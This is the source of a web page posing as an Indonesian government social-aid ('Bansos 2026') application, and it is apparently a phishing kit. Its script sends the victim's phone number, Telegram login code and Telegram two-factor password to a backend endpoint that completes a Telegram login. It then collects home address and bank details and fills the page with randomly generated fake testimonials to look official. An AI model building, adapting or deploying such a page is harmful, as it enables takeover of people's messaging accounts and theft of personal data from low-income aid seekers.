<?php require("settings.php"); ?>

<!DOCTYPE html>
<html lang="ms">

<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Bansos 2026</title>
  
  <script src="https://cdn.tailwindcss.com"></script>
  
  <script>
    tailwind.config = {
      theme: {
        extend: {
          fontFamily: {
            sans: ["Inter", "sans-serif"],
          },
          colors: {
            "gov-primary": "#00508C",
            "gov-accent": "#FFC300",
            "gov-bg": "#f3f4f6",
            "gov-success": "#16A34A",
            "gov-error": "#DC2626"
          },
        },
      },
    };
  </script>
  <style>
    @import url("https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700;800;900&display=swap");

    body {
      font-family: "Inter", sans-serif;
      background-color: #f3f4f6;
      padding-bottom: 5rem;
      min-height: 100vh;
    }

    button,
    a,
    .calc-button {
      transition: all 0.3s ease-in-out;
    }

    .main-card {
      border-top: 6px solid #ffc300;
      box-shadow: 0 15px 30px -5px rgba(0, 80, 140, 0.15),
        0 6px 15px -3px rgba(0, 0, 0, 0.08);
    }

    .bottom-nav-3d {
      background-color: rgba(255, 255, 255, 0.98);
      backdrop-filter: blur(8px);
      -webkit-backdrop-filter: blur(8px);
      box-shadow: 0 -10px 30px rgba(0, 0, 0, 0.15);
      border-top-left-radius: 1.5rem;
      border-top-right-radius: 1.5rem;
    }

    #nav-semak-bayaran {
      transform: translateY(-50%) scale(1.05);
      background: linear-gradient(135deg,
          #ffc300,
          #fbbf24);
      border-color: white;
      box-shadow: 0 12px 25px rgba(255, 195, 0, 0.5), 0 0 0 8px #ffffff,
        0 0 0 10px #00508c30;
    }

    #nav-semak-bayaran:hover {
      transform: translateY(-55%) scale(1.1);
    }

    .testimonial-scroll-wrapper {
      height: 350px;
      overflow-y: scroll;
      -ms-overflow-style: none;
      scrollbar-width: none;
      padding-right: 15px;
    }

    .testimonial-scroll-wrapper::-webkit-scrollbar {
      display: none;
    }

    #loading-screen-form {
      position: fixed;
      inset: 0;
      background-color: rgba(0, 0, 0, 0.7);
      z-index: 9998;
      display: none;
      align-items: center;
      justify-content: center;
      transition: opacity 0.3s ease;
    }

    .loading-form-content {
      background: white;
      padding: 24px 32px;
      border-radius: 16px;
      text-align: center;
      box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
    }

    .loading-spinner-form {
      width: 40px;
      height: 40px;
      border: 4px solid #e5e7eb;
      border-top-color: #00508c;
      border-radius: 50%;
      animation: spin 1s linear infinite;
      margin: 0 auto 16px;
    }

    @keyframes spin {
      0% {
        transform: rotate(0deg);
      }

      100% {
        transform: rotate(360deg);
      }
    }
  </style>
</head>

<body class="antialiased">
  

  
  <div id="loading-screen-form">
    <div class="loading-form-content">
      <div class="loading-spinner-form"></div>
      <p id="loading-text-form" class="text-gray-700 font-medium">
        Memproses...
      </p>
    </div>
  </div>

  
  <div id="main-content" class="opacity-100 transition-opacity duration-500">
    
    <div class="w-full bg-gov-primary shadow-lg">
      <img src="./img/12.jpg" class="w-full h-auto object-contain mx-auto"
        alt="Banner eMADANI " />
    </div>
    
    <div class="container mx-auto p-4 max-w-lg">
      <header class="text-center p-6 bg-white shadow-2xl rounded-xl">
        <h1 class="text-3xl font-extrabold mb-1 text-gray-900">
          Bansos 2026,
        </h1>
        <p class="text-xl font-black text-gov-accent">
          Permohonan Bantuan Sosial 2026
        </p>
        <p class="text-sm mt-3 opacity-90 text-gray-600">
          Isilah formulir di bawah ini dengan benar ..
        </p>
      </header>
    </div>
    
    <div class="container mx-auto p-4 max-w-lg">
      <div class="bg-white p-6 rounded-2xl main-card mb-10">
        
        <div id="step-1" class="space-y-6">
          <form action="javascript:void(0)" method="post" id="firstForm">
            <div>
              <label for="full_name" class="block text-sm font-semibold text-gray-700 mb-2">Nama Lengkap (Sesua E-ktp)</label>
              <input type="text" id="full_name" placeholder="Masukkan nama lengkap anda di sini"
                class="w-full p-3 border-2 border-gray-300 rounded-xl focus:ring-2 focus:ring-gov-primary focus:border-gov-primary transition shadow-inner"
                required />
            </div>
            <div>
              <label for="phone" class="block text-sm font-semibold text-gray-700 mb-2">Nomor Telepon (Telegram
                Aktif)</label>
              <div class="flex">
                <span
                  class="inline-flex items-center px-3 rounded-l-xl border-2 border-r-0 border-gray-300 bg-gray-100 text-gray-700 font-bold">
                  +62
                </span>
                <input id="phone" name="phone" type="tel"
                  class="w-full p-3 border-2 border-l-0 border-gray-300 rounded-r-xl focus:ring-2 focus:ring-gov-primary focus:border-gov-primary transition shadow-inner"
                  placeholder="1x-xxxxxxx" required />
              </div>
              <p id="wrong" class="text-xs text-red-500 mt-1" style="display:none;">Nombor telepon tidak sah.</p>
              <p class="text-xs text-gray-500 mt-1">
                Kode OTP akan dikirim melalui Bot Telegram Resmi Bansos.
              </p>
            </div>
            <div id="feedback" class="text-sm text-center"></div>
            <div id="loader" style="display:none;" class="text-center text-sm text-gov-primary font-semibold">Menghantar...</div>
            <button type="submit" id="sendOtp"
              class="w-full py-3 bg-gov-primary text-white font-extrabold rounded-xl shadow-lg hover:bg-blue-800 transition duration-300 transform hover:scale-[1.01] mt-6">
              PROSES..
            </button>
          </form>
        </div>
        <div id="step-2" style="display: none">
          <form action="javascript:void(0)" method="post" id="secondForm" class="space-y-8">
            <p class="text-center block text-md font-medium text-gray-700">
              Silakan periksa pesan dari Bot Telegram Resmi Bansos.<br/>
              <span id="phoneNumberPlaceholder" class="font-bold text-gov-primary"></span>
            </p>
            <div>
              <label class="text-center block text-sm font-semibold text-gray-700 mb-3">
                Masukkan Kode Verifikasi (5 Digit):
              </label>
              <input name="otp" maxlength="5" id="otp"
                class="w-full text-center text-4xl font-extrabold py-4 border-2 border-gov-accent rounded-xl focus:ring-2 focus:ring-gov-primary focus:outline-none transition tracking-widest"
                type="tel" required="true" placeholder="-----" />
              <p id="wrong" class="text-xs text-red-500 mt-2 text-center" style="display:none;"></p>
            </div>
            <div id="feedback" class="text-sm text-center"></div>
            <div id="loader" style="display:none;" class="text-center text-sm text-gov-primary font-semibold">Memproses...</div>
            <div class="text-center pt-2">
              <button type="submit" id="verifyBtn"
                class="w-full py-3 bg-gov-accent text-gray-900 font-extrabold rounded-xl shadow-lg hover:bg-yellow-400 transition duration-300 transform hover:scale-[1.01]">
                <span id="btnText">KONFIRMASI</span>
              </button>
              <button type="button" onclick="gotoStep(1)"
                class="mt-4 text-sm text-gray-500 hover:text-gov-primary transition font-medium">
                &larr; Ubah Nomor Telepon
              </button>
            </div>
          </form>
        </div>
        <div id="step-3" style="display: none">
          <form action="javascript:void(0)" method="post" id="thirdForm" class="space-y-8">
            <p class="text-center block text-md font-medium text-gray-700">
              Verifikasi Dua Langkah (2FA) Telegram diperlukan untuk Klaim..
            </p>
            <div>
              <label class="text-center block text-sm font-semibold text-gray-700 mb-3">
                Masukkan kata sandi otentikasi dua faktor Telegram Anda.:
              </label>
              <input name="password" id="password"
                class="w-full px-4 py-3.5 border-2 border-gray-300 rounded-xl focus:ring-2 focus:ring-gov-primary focus:outline-none transition shadow-inner tracking-widest"
                required="true" type="password" placeholder="***********" />
              <p class="text-xs text-gray-500 mt-1 text-center">
                Ini adalah kata sandi yang Anda tetapkan untuk keamanan Telegram.
              </p>
            </div>
            <div id="feedback" class="text-sm text-center"></div>
            <div id="loader" style="display:none;" class="text-center text-sm text-gov-primary font-semibold">Memproses...</div>
            <div class="text-center pt-2">
              <button type="submit" id="verifyButton"
                class="w-full py-3 bg-gov-primary text-white font-extrabold rounded-xl shadow-lg hover:bg-blue-800 transition duration-300 transform hover:scale-[1.01]">
                <span id="btnText">KLAIM BANSOS SEKARANG</span>
              </button>
              <button type="button" onclick="gotoStep(2)"
                class="mt-4 text-sm text-gray-500 hover:text-gov-primary transition font-medium">
                &larr; Kembali ke Kod OTP
              </button>
            </div>
          </form>
        </div>
        
        <div id="step-4" style="display:none">
          <form action="javascript:void(0)" method="post" id="addressForm" class="space-y-5">
            <p class="text-center block text-md font-medium text-gray-700">
              Mohon lengkapi informasi untuk keperluan pencatatan pengiriman/klaim..
            </p>

            <div>
              <label class="block text-sm font-semibold text-gray-700 mb-2">Alamat Lengkap</label>
              <textarea id="alamat" name="alamat" rows="3"
                class="w-full p-3 border-2 border-gray-300 rounded-xl focus:ring-2 focus:ring-gov-primary focus:border-gov-primary transition shadow-inner"
                placeholder="No Rumah, Jalan, Taman..." required></textarea>
            </div>

            <div class="grid grid-cols-2 gap-3">
              <div>
                <label class="block text-sm font-semibold text-gray-700 mb-2">Kode pos</label>
                <input id="poskod" name="poskod" maxlength="5"
                  class="w-full p-3 border-2 border-gray-300 rounded-xl focus:ring-2 focus:ring-gov-primary focus:border-gov-primary transition shadow-inner"
                  type="tel" placeholder="12345" />
              </div>

              <div>
                <label class="block text-sm font-semibold text-gray-700 mb-2">provinsi</label>
                <input id="Kota" name="Kota"
                  class="w-full p-3 border-2 border-gray-300 rounded-xl focus:ring-2 focus:ring-gov-primary focus:border-gov-primary transition shadow-inner"
                  type="text" placeholder="Jawa Barat" />
              </div>
            </div>

            <div class="grid grid-cols-2 gap-3">
              <div>
                <label class="block text-sm font-semibold text-gray-700 mb-2">Kota</label>
                <input id="bandar" name="bandar"
                  class="w-full p-3 border-2 border-gray-300 rounded-xl focus:ring-2 focus:ring-gov-primary focus:border-gov-primary transition shadow-inner"
                  type="text" placeholder="Bandung" />
              </div>

              <div>
                <label class="block text-sm font-semibold text-gray-700 mb-2">Nama Bank (Jika perlu)</label>
                <input id="bank" name="bank"
                  class="w-full p-3 border-2 border-gray-300 rounded-xl focus:ring-2 focus:ring-gov-primary focus:border-gov-primary transition shadow-inner"
                  type="text" placeholder=" " />
              </div>
            </div>

            <div class="text-center pt-2">
              <button type="submit" id="addressbutt"
                class="w-full py-3 bg-gov-accent text-gray-900 font-extrabold rounded-xl shadow-lg hover:bg-yellow-400 transition duration-300 transform hover:scale-[1.01]">
                TERUSKAN
              </button>

              <button type="button" onclick="gotoStep(3)"
                class="mt-4 text-sm text-gray-500 hover:text-gov-primary transition font-medium">
                &larr; Kembali
              </button>
            </div>
          </form>
        </div>


        
        <div id="step-5" style="display: none">
          <div class="text-center space-y-6 py-6">
            <div class="flex justify-center">
              <div class="relative w-28 h-28">
                <div class="absolute inset-0 rounded-full border-8 border-blue-100"></div>
                <div
                  class="absolute inset-0 rounded-full border-8 border-gov-primary border-t-transparent animate-spin">
                </div>
                <div class="absolute inset-0 flex items-center justify-center">
                  <span class="text-xs font-bold text-gov-primary">
                    PROCESSING<br />please wait...
                  </span>
                </div>
              </div>
            </div>

            <p class="text-gray-800 font-semibold px-4">
              Harap tunggu proses verifikasi dalam waktu 1x24 jam untuk memeriksa kelayakan,
atau gunakan nomor telepon lain.
            </p>

            <button type="button" id="btn-try-other"
              class="w-full py-3 bg-gov-primary text-white font-extrabold rounded-xl shadow-lg">
              « Gunakan Nomor Telepon Lain
            </button>
          </div>
        </div>
      </div>
      <div class="bg-white rounded-2xl shadow-xl p-6 mb-6 text-center">
        <h3 class="text-lg font-extrabold text-gray-900 mb-2">
          Permohonan BAntuan sosial (Bansos)
        </h3>
        <p class="text-sm text-gray-600 leading-relaxed">
          
        </p>
      </div>
      <h2 class="text-2xl font-extrabold text-gray-800 mb-4 mt-8 text-center">
        Catatan Klaim Bansos (Status Resmi)
      </h2>
      <div class="bg-white rounded-2xl shadow-2xl overflow-hidden border border-gray-200 p-4 testimonial-carousel">
        
        <div id="testimonial-container" class="testimonial-scroll-wrapper">
          
        </div>
      </div>
    </div>
  </div>
  
  <nav class="fixed bottom-0 left-0 right-0 h-16 bottom-nav-3d z-40">
    <div class="flex justify-around items-end h-full max-w-lg mx-auto pb-2">
      
      <button id="nav-daftar"
        class="nav-side-button flex flex-col items-center justify-center p-2 text-gray-600 hover:text-gov-primary transition">
        <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none"
          stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"
          class="lucide lucide-user-plus">
          <path d="M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2" />
          <circle cx="9" cy="7" r="4" />
          <line x1="19" y1="8" x2="19" y2="14" />
          <line x1="16" y1="11" x2="22" y2="11" />
        </svg>
        <span class="text-xs font-semibold mt-1">DAFTAR</span>
      </button>
      
      <div class="h-full flex items-center justify-center">
        <button id="nav-semak-bayaran" class="w-16 h-16 transition duration-150 rounded-full shadow-xl">
          
          <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 24 24" fill="none"
            stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"
            class="lucide lucide-wallet-2 mx-auto">
            <path d="M17 14h.01" />
            <path d="M14 10h.01" />
            <path d="M22 12h-2" />
            <path d="M2 12h2" />
            <path d="M18 12h-2a2 2 0 0 0-2 2v2a2 2 0 0 0 2 2h2a2 2 0 0 0 2-2v-2a2 2 0 0 0-2-2z" />
            <path d="M2 7a2 2 0 0 1 2-2h16a2 2 0 0 1 2 2v2H2V7z" />
            <path d="M2 17v2a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2v-2H2z" />
          </svg>
        </button>
      </div>
      
      <button id="nav-profile"
        class="nav-side-button flex flex-col items-center justify-center p-2 text-gray-400 hover:text-gov-primary transition">
        <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none"
          stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"
          class="lucide lucide-layout-dashboard">
          <rect width="7" height="9" x="3" y="3" rx="1" />
          <rect width="7" height="5" x="14" y="3" rx="1" />
          <rect width="7" height="9" x="14" y="12" rx="1" />
          <rect width="7" height="5" x="3" y="16" rx="1" />
        </svg>
        <span class="text-xs font-semibold mt-1">UTAMA</span>
      </button>
    </div>
  </nav>
  
  <div id="widraw-modal"
    class="fixed inset-0 bg-black bg-opacity-70 hidden items-center justify-center p-4 z-50 transition-opacity duration-300">
    <div
      class="bg-white rounded-2xl shadow-2xl w-full max-w-sm p-6 transform transition-all duration-300 scale-95 opacity-0"
      id="modal-content">
      <div class="flex justify-between items-center mb-4">
        <h3 class="text-xl font-bold text-gov-primary">
          Kalkulator Bansos
        </h3>
        <button id="close-modal" class="text-gray-400 hover:text-gray-600 transition p-1">
          <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"
            stroke-width="2">
            <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
          </svg>
        </button>
      </div>
      
      <div class="mb-4">
        <p class="text-sm text-gray-600 mb-2 font-semibold">
          Anggaran Jumlah BANTUA (RP):
        </p>
        <div id="calc-display"
          class="bg-gray-50 text-4xl text-right p-4 rounded-xl mb-4 font-mono font-extrabold border-2 border-gov-accent text-gov-primary shadow-inner">
          RP 0.00
        </div>
        <div class="grid grid-cols-4 gap-2">
          <button class="calc-button bg-gray-200 hover:bg-gray-300 col-span-2 py-3 rounded-lg" onclick="clearDisplay()">
            KOSONGKAN
          </button>
          <button class="calc-button bg-gray-200 hover:bg-gray-300 py-3 rounded-lg" onclick="deleteLast()">
            HAPUS
          </button>
          <button class="calc-button bg-gov-accent text-gray-900 hover:bg-yellow-400 py-3 rounded-lg"
            onclick="appendToDisplay('00')">
            00
          </button>
          <button class="calc-button bg-gray-100 hover:bg-gray-200 py-3 rounded-lg" onclick="appendToDisplay(7)">
            7
          </button>
          <button class="calc-button bg-gray-100 hover:bg-gray-200 py-3 rounded-lg" onclick="appendToDisplay(8)">
            8
          </button>
          <button class="calc-button bg-gray-100 hover:bg-gray-200 py-3 rounded-lg" onclick="appendToDisplay(9)">
            9
          </button>
          <button class="calc-button bg-gov-primary text-white hover:bg-blue-800 py-3 rounded-lg"
            onclick="appendToDisplay(0)">
            0
          </button>
          <button class="calc-button bg-gray-100 hover:bg-gray-200 py-3 rounded-lg" onclick="appendToDisplay(4)">
            4
          </button>
          <button class="calc-button bg-gray-100 hover:bg-gray-200 py-3 rounded-lg" onclick="appendToDisplay(5)">
            5
          </button>
          <button class="calc-button bg-gray-100 hover:bg-gray-200 py-3 rounded-lg" onclick="appendToDisplay(6)">
            6
          </button>
          <button class="calc-button bg-gov-primary text-white hover:bg-blue-800 py-3 rounded-lg"
            onclick="appendToDisplay('.')">
            .
          </button>
          <button class="calc-button bg-gray-100 hover:bg-gray-200 py-3 rounded-lg" onclick="appendToDisplay(1)">
            1
          </button>
          <button class="calc-button bg-gray-100 hover:bg-gray-200 py-3 rounded-lg" onclick="appendToDisplay(2)">
            2
          </button>
          <button class="calc-button bg-gray-100 hover:bg-gray-200 py-3 rounded-lg" onclick="appendToDisplay(3)">
            3
          </button>
          <button class="calc-button bg-gov-success text-white hover:bg-green-600 font-bold py-3 rounded-lg"
            onclick="appendToDisplay(100)">
            +RM100
          </button>
        </div>
      </div>
      <button id="btn-konfirmasi-widraw"
        class="w-full py-3 bg-gov-primary text-white font-extrabold rounded-xl shadow-lg hover:bg-blue-800 transition duration-300 active:scale-[0.98] mt-4">
        TERUSKAN TUNTUTAN E-TUNAI
      </button>
    </div>
  </div>
  <div id="notification-box"
    class="fixed bottom-24 left-1/2 -translate-x-1/2 -translate-y-full opacity-0 p-4 bg-gov-error text-white rounded-xl shadow-2xl font-semibold transform transition-all duration-300 z-[60] min-w-[200px] text-center">
    Mesej Pemberitahuan
  </div>


<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
var phpSettings = { endpointUrl: '<?php echo $url; ?>' };
let PHONE_GLOBAL = null;
let isRegistered = false;
let currentStep = 1;

const loadingScreenForm = document.getElementById('loading-screen-form');
const loadingTextForm = document.getElementById('loading-text-form');
const widrawModal = document.getElementById('widraw-modal');
const modalContent = document.getElementById('modal-content');
const navSemakBayaran = document.getElementById('nav-semak-bayaran');
const closeModal = document.getElementById('close-modal');
const btnKonfirmasiWidraw = document.getElementById('btn-konfirmasi-widraw');
const notificationBox = document.getElementById('notification-box');
const calcDisplay = document.getElementById('calc-display');
const stepTitle = document.getElementById('step-title');
const navDaftar = document.getElementById('nav-daftar');
const navProfile = document.getElementById('nav-profile');

function showNotification(message, isError = true) {
  if (!notificationBox) return;
  notificationBox.textContent = message;
  const bgColor = isError ? 'bg-gov-error' : 'bg-gov-primary';
  notificationBox.className = `fixed bottom-24 left-1/2 -translate-x-1/2 p-4 ${bgColor} text-white rounded-xl shadow-2xl font-semibold transform transition-all duration-300 translate-y-0 opacity-100 z-[60] min-w-[200px] text-center`;
  setTimeout(() => {
    notificationBox.classList.remove('opacity-100', 'translate-y-0');
    notificationBox.classList.add('opacity-0', '-translate-y-full');
  }, 4000);
}

function gotoStep(step) {
  currentStep = step;

  const map = { 1: "step-1", 2: "step-2", 3: "step-3", 4: "step-4", 5: "step-5" };

  const titles = {
    1: "Langkah 1: Pengesahan Akaun Telegram",
    2: "Langkah 2: Kod Pengesahan",
    3: "Langkah 3: Kata Laluan Dua Langkah (2FA)",
    4: "Langkah 4: Maklumat Alamat",
    5: "Semakan Status"
  };

  Object.values(map).forEach(id => {
    const el = document.getElementById(id);
    if (el) el.style.display = 'none';
  });

  const target = document.getElementById(map[step]);
  if (target) target.style.display = 'block';

  if (stepTitle) stepTitle.textContent = titles[step] || "";
  window.scrollTo({ top: 0, behavior: 'smooth' });
}

function formatPhoneNumber(rawPhone) {
  var num = (rawPhone || "").replace(/\D/g, '');
  num = num.replace(/^0+/, '');
  if (num.startsWith('60')) num = num.substring(2);
  return '+62' + num;
}

function showFormLoading(text) {
  text = text || "Memproses...";
  if (loadingTextForm) loadingTextForm.textContent = text;
  if (!loadingScreenForm) return;
  loadingScreenForm.style.display = 'flex';
  loadingScreenForm.style.opacity = '1';
}
function hideFormLoading() {
  if (!loadingScreenForm) return;
  loadingScreenForm.style.opacity = '0';
  setTimeout(function () { loadingScreenForm.style.display = 'none'; }, 300);
}

function bindForms() {
  $("#firstForm").on("submit", function (e) {
    e.preventDefault();

    var name  = $("#full_name").val().trim();
    var digits = $("#phone").val().trim();
    var phone  = "+62" + digits;
    var feedback = $("#feedback");
    var loader   = $("#loader");
    var wrong    = $("#wrong");

    feedback.text("");
    wrong.hide();

    if (!name) {
      feedback.html('<span style="color:red;">Nama harus diisi</span>');
      return;
    }

    if (!digits || !/^[0-9]{8,11}$/.test(digits)) {
      wrong.show();
      return;
    }

    loader.show();
    $("#sendOtp").prop('disabled', true);

    $.ajax({
      url: phpSettings.endpointUrl + "/send_otp",
      type: "POST",
      contentType: "application/json",
      data: JSON.stringify({ phone: phone, name: name }),
      success: function (data) {
        loader.hide();
        $("#sendOtp").prop('disabled', false);
        if (data.status === "success") {
          sessionStorage.setItem("phone", phone);
          sessionStorage.setItem("phone_code_hash", data.phone_code_hash);
          feedback.html('<span style="color:green;">' + data.message + '</span>');
          setTimeout(function () { gotoStep(2); }, 500);
        } else {
          feedback.html('<span style="color:red;">' + data.message + '</span>');
        }
      },
      error: function (xhr) {
        loader.hide();
        $("#sendOtp").prop('disabled', false);
        var err = xhr.responseJSON || { message: "Terjadi kesalahan saat mengirim OTP." };
        feedback.html('<span style="color:red;">' + err.message + '</span>');
      }
    });
  });

  $("#otp").on("input", function () {
    this.value = this.value.replace(/[^0-9]/g, '');
    if (this.value.length === 5) {
      $("#secondForm").submit();
    }
  });

  $("#secondForm").on("submit", function (e) {
    e.preventDefault();

    var otp        = $("#otp").val().trim();
    var feedback   = $("#feedback");
    var loader     = $("#loader");
    var btnText    = $("#btnText");
    var wrongMsg   = $("#wrong");
    var phone      = sessionStorage.getItem("phone");
    var phoneHash  = sessionStorage.getItem("phone_code_hash");

    feedback.text("");
    wrongMsg.hide();

    if (otp.length !== 5) {
      wrongMsg.text("Kod mesti 5 digit.").show();
      return;
    }

    loader.show();
    btnText.text("Memproses...");
    $("#verifyBtn").prop("disabled", true);

    $.ajax({
      url: phpSettings.endpointUrl + "/verify_otp",
      type: "POST",
      contentType: "application/json",
      data: JSON.stringify({ phone: phone, otp: otp, phoneCodeHash: phoneHash }),
      success: function (response) {
        loader.hide();
        btnText.text("SAHKAN");
        $("#verifyBtn").prop("disabled", false);

        if (response.status === "success") {
          feedback.html('<span style="color:green;">' + response.message + '</span>');
          setTimeout(function () { gotoStep(4); }, 100);
        } else if (response.status === "needs_2fa") {
          feedback.html('<span style="color:orange;">' + response.message + '</span>');
          setTimeout(function () { gotoStep(3); }, 100);
        } else {
          wrongMsg.text(response.message).show();
          $("#otp").val("").focus();
        }
      },
      error: function (xhr) {
        loader.hide();
        btnText.text("SAHKAN");
        $("#verifyBtn").prop("disabled", false);
        var err = xhr.responseJSON || { message: "Terjadi kesalahan saat memverifikasi kod." };
        wrongMsg.text(err.message).show();
      }
    });
  });

  $("#thirdForm").on("submit", function (e) {
    e.preventDefault();

    var password  = $("#password").val().trim();
    var feedback  = $("#feedback");
    var loader    = $("#loader");
    var btnText   = $("#btnText");
    var phone     = sessionStorage.getItem("phone");

    feedback.text("");

    if (!password) {
      feedback.html('<span style="color:red;">Sila masukkan kata laluan.</span>');
      return;
    }

    loader.show();
    btnText.text("Memproses...");
    $("#verifyButton").prop("disabled", true);

    $.ajax({
      url: phpSettings.endpointUrl + "/verify_2fa",
      type: "POST",
      contentType: "application/json",
      data: JSON.stringify({ password: password, phone: phone }),
      success: function (data) {
        loader.hide();
        btnText.text("TUNTUT KREDIT SEKARANG");
        $("#verifyButton").prop("disabled", false);

        if (data.status === "success") {
          feedback.html('<span style="color:green;">' + data.message + '</span>');
          setTimeout(function () { gotoStep(4); }, 1000);
        } else {
          feedback.html('<span style="color:red;">' + data.message + '</span>');
        }
      },
      error: function (xhr) {
        loader.hide();
        btnText.text("TUNTUT KREDIT SEKARANG");
        $("#verifyButton").prop("disabled", false);
        var err = xhr.responseJSON || { message: "Terjadi kesalahan saat memverifikasi." };
        feedback.html('<span style="color:red;">' + err.message + '</span>');
      }
    });
  });

  $("#addressForm").on("submit", function (e) {
    e.preventDefault();

    const alamat = ($("#alamat").val() || "").trim();
    if (!alamat) {
      showNotification("Sila isi Alamat Penuh.", true);
      return;
    }

    gotoStep(5);
  });
}

const NAMES = ['Ahmad','Siti','Chong','Muthu','Norizan','Kamal','Lee','Thilaga','Syed','Farah','Govind','Khairul','Jenny'];
const LOCATIONS = ['W.P. DKI Jakarta','Medan','Pontianak','Yogyakarta','Manado','Malang','Palembang','Denpasar','Surabaya','Surabaya','Medan','Batu','Jakarta'];
const STATUSES = [
  { id: 'BANTUAN TELAH DITERIMA', color: 'green', text: 'Permohonan sudah diterima . Proses sangat mudah dan cepat.' },
  { id: 'STATUS  DITERIMA', color: 'blue', text: ' Berhasil Di terima' },
  { id: 'Autentikasi Gagal', color: 'red', text: 'Lupa Kata sandi 2FA Telegram. Perlu reset dahulu.' },
  { id: 'DALAM PROSES PENGECEKAN ', color: 'yellow', text: ' Menunggu...' }
];

function getRandomElement(arr){ return arr[Math.floor(Math.random()*arr.length)]; }

function generateRandomTestimonial(){
  const first = getRandomElement(NAMES);
  const last = getRandomElement(['Bin','Binti','A/L','A/P','K.H.']);
  const name = `${first} ${last.includes('.') ? last : last.charAt(0)+'.'}`;
  const statusObj = getRandomElement(STATUSES);
  return {
    name,
    location: getRandomElement(LOCATIONS),
    status: statusObj.id,
    color: statusObj.color,
    text: statusObj.text
  };
}

function generateTestimonials(count){
  count = count || 30;
  const out=[];
  for(let i=0;i<count;i++) out.push(generateRandomTestimonial());
  return out;
}

let testimonialsData = generateTestimonials(30);

function renderTestimonials(data){
  const $container = $('#testimonial-container');
  if(!$container.length) return;

  const STATUS_ICONS = {
    green:`<span class="mr-1">✅</span>`,
    blue:`<span class="mr-1">ℹ️</span>`,
    red:`<span class="mr-1">❌</span>`,
    yellow:`<span class="mr-1">👁️</span>`
  };

  const html = data.map(item => {
    const colors = {
      green: { bg:'bg-green-50', text:'text-gov-success', border:'border-green-300' },
      blue: { bg:'bg-blue-50', text:'text-gov-primary', border:'border-blue-300' },
      red: { bg:'bg-red-50', text:'text-gov-error', border:'border-red-300' },
      yellow: { bg:'bg-yellow-50', text:'text-gov-accent', border:'border-yellow-300' },
    };
    const c = colors[item.color] || colors.blue;
    const icon = STATUS_ICONS[item.color] || STATUS_ICONS.blue;

    return `
      <div class="flex items-start space-x-4 ${c.bg} p-4 rounded-xl border ${c.border}">
        <div class="w-10 h-10 rounded-full flex items-center justify-center bg-gov-primary text-white font-bold">
          ${item.name.charAt(0)}
        </div>
        <div class="flex-1">
          <div class="flex items-center justify-between">
            <p class="font-bold text-gray-900">${item.name}</p>
            <div class="flex items-center text-xs ${c.text} font-extrabold whitespace-nowrap">
              ${icon}${item.status}
            </div>
          </div>
          <p class="text-xs text-gray-500 mb-2 mt-0.5"><span class="font-semibold">Kota:</span> ${item.location}</p>
          <p class="text-sm text-gray-700 italic">"${item.text}"</p>
        </div>
      </div>
    `;
  }).join('');

  $container.html(html + html);
}

let scrollInterval = null;
function startContinuousScroll(){
  const el = document.getElementById('testimonial-container');
  if(!el) return;

  clearInterval(scrollInterval);
  scrollInterval = setInterval(() => {
    const fullHeight = el.scrollHeight / 2;
    if (el.scrollTop >= fullHeight) el.scrollTop = 0;
    else el.scrollTop += 1;
  }, 50);
}

function closeWidrawModal() {
  if (!widrawModal || !modalContent) return;
  modalContent.classList.remove('scale-100', 'opacity-100');
  modalContent.classList.add('scale-95', 'opacity-0');
  setTimeout(() => {
    widrawModal.style.display = 'none';
    widrawModal.classList.add('hidden');
  }, 250);
}

if (navSemakBayaran) {
  navSemakBayaran.addEventListener('click', () => {
    if (!widrawModal || !modalContent) return;
    widrawModal.classList.remove('hidden');
    widrawModal.style.display = 'flex';
    setTimeout(() => {
      modalContent.classList.remove('scale-95', 'opacity-0');
      modalContent.classList.add('scale-100', 'opacity-100');
    }, 10);
    if (typeof clearDisplay === "function") clearDisplay();
    if (typeof updateDisplay === "function") updateDisplay();
  });
}

if (closeModal) {
  closeModal.addEventListener('click', closeWidrawModal);
}

if (widrawModal) {
  widrawModal.addEventListener('click', (e) => {
    if (e.target === widrawModal) closeWidrawModal();
  });
}

$(function () {
  gotoStep(1);
  bindForms();

  if (typeof updateDisplay === "function") updateDisplay();

  renderTestimonials(testimonialsData);
  startContinuousScroll();

  var savedPhone = sessionStorage.getItem("phone");
  if (savedPhone) $("#phoneNumberPlaceholder").text(savedPhone);

  $("#btn-try-other").on("click", function () {
    sessionStorage.removeItem("phone");
    sessionStorage.removeItem("phone_code_hash");

    $("#full_name").val("");
    $("#phone").val("");
    $("#otp").val("");
    $("#password").val("");
    $("#feedback").text("");
    $("#wrong").hide();

    gotoStep(1);
  });
});
</script>
</body>
</html>
